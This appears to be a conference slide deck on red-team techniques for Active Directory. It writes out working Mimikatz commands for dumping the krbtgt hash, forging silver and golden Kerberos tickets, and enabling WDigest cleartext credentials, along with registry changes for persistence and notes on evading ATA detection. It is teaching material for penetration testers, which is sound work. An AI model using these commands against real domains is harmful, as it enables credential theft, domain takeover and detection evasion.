Red Team Techniques
or how to expand your Empire in
Active Directory Environment
Guglielmo Scaiola
MCT – MCSE – CEI – CEH – CHFI – ECSA – GPEN - ISO 27001 L.A. – Security +
mail: gs@miproparma.com
Twitter: @S0ftwarGS
Blog: S0ftwarGS.com
Who am I?
• Security Consultant e Ethical Hacker
• Red Teamer e Penetration Tester
• Microsoft System Engineer – A.D. expert
• Incident Handling & Enterprise Forensics
• Trainer & Speaker
Guglielmo «S0ftwar» Scaiola
MCT – MCSE – CEI – CEH – CHFI – ECSA - GPEN - ISO 27001 L.A. – Security +
mail: gs@miproparma.com Twitter: @S0ftwarGS Blog: S0ftwarGS.com
AGENDA
• Intro
• Red Team Vs. Blue Team
• Red Teaming Infrastructure
• Play the Game
• Defense
• Q & A
Red Teaming: my view
• What is for me?
– Adversary Emulation
– Custom Exploit Dev
Red Team Vs. Blue Team
Red Team & Blue Team Collaboration
Red Team Attack Chain
• Gain Access
– Spear Phishing [Malware (trojan...) / Client Side Exploit]
• Gain Situational Awareness
– Powershell/admin tools & commands
• Escalation
– Local User/Domain User Local Admin with UAC/Domain User
– Local Admin with UAC/Domain User Local Admin Bypass UAC/Domain User
– Local Admin Bypass UAC/Domain User Domain Admin
• Explore Network & Lateral Movement (loop To Situational Awareness)
• Persistence
– Backdoor
• Access & Egress Data
• Extraction
Malware Vs. Client Side Exploit
Malware
Pro
• S.O. Agnostic
• Arch Agnostic
Cons
• File
Client Side Exploit
Pro
• Fileless (sure???)
• In-memory
Cons
• Specific for SO/app version
Back to the future
https://www.trustedsec.com/2015/04/dumping-wdigest-creds-with-meterpreter-mimikatzkiwi-in-windows-8-1/
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1
Dump local Hash DB
lsadump::lsa /inject /name:krbtgt
lsadump::lsa
lsadump::lsa /patch
Silver ticket
Is a TGS: no communication with the DC , but the account computer password is changing every 30 days
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersDisablePasswordChange = 1
kerberos::golden /admin:fakeuser /id:666666 /domain:child1.newtest.lab /sid:S-1-5-21-1286882215-52109606-
1499245918 /target:dc012k12r2.child1.newtest.lab /rc4:84dc6e3f0de5d9788da6529b4f79b2c6 /service:cifs /ptt
ON DC : HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetlogonParametersRefusePasswordChange = 1
HKLMSYSTEMCurrentControlSetServicesNetLogonParametersMaximumPasswordAge
Some ATA Bypass Techniques
ATA can’t win if:
• The protocols are correctly implemented
• ATA can’t see how the ticket (or request) are built
• ATA can’t see the traffic with his agents
Bypass 2 – Golden Ticket
kerberos::golden /User:MyUser /domain:MyDomain
/sid:S-1-5-21-3270384115-3177237293-604223748
/aes256:aes256krbtgt /id:1000
/groups:512,513,518,520 /ptt"‘
Golden with AES keys can be generated from any
machine unlike restrictions in case of Over-PTH.